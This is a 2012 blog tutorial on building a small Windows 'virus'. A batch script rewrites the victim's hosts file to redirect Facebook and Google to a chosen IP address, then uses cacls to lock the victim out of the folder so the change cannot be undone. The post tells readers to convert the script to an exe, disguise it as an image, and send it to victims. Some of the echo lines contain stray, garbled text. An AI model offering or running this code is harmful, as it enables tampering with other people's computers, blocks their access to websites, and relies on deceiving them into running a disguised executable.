Saturday, August 4, 2012

Virus that denies the access of the website when clicked

In this tutorial we are going to modify the "hosts" file present in C:\Windows\System32\drivers\etc\, you may be wondering what this "hosts" file does? Whenever you type a domain name in address bar, at first browser checks this domain name in "hosts" file and checks whether the IP address for specified domain name is available or not. If IP address is found the browser will direct to the IP address in hosts file.

Creating Process:-
1. Open Notepad and write the Program as given in the below examples and save it with .bat extension.
2. Convert this bat file to exe file using "bat to exe" converter. Click Here to download the tool.
3. Send this file to your victim and make him click, you can cover this file using image file, Click here to know how to add images as EXE files. Or you can upload this file in any file sharing website like ziddu.com or megaupload.com and give the link to your victim.
Note:- To create batch files follow the above "creating process".
Code:
echo "any IP address"  www.facebook.com >> C:\windows\system32\drivers\etc\hosts any IP address
echo your "any IP address"  facebook.com >> C:\windows\system32\drivers\etc\hosts
echo "any IP address"  www.google.com >> C:\windows\system32\drivers\etc\hosts any IP address
echo your "any IP address"  google.com >> C:\windows\system32\drivers\etc\hosts
cacls "C:\WINDOWS\system32\drivers\etc" /e /p Everyone:N 

Explanation:
This code will add the four domain name and there corresponding IP address(fake) in the victim's hosts file. And the last line of code ensures that victim should'nt  reedit the "hosts" file.

Now whenever victim tries to open facebook.com or Google, the content of the "hosts" file comes into play, that is facebook and google will be directed to the IP address which you have set.



Precaution:
Do not practice these tricks in your PC, use virtual machine in your PC to make and run these virus. One such virtual machine is Sun VirtualBox. Click Here to download.
After installing this Virtual Box install XP or 7 inside it(installing procedure is same).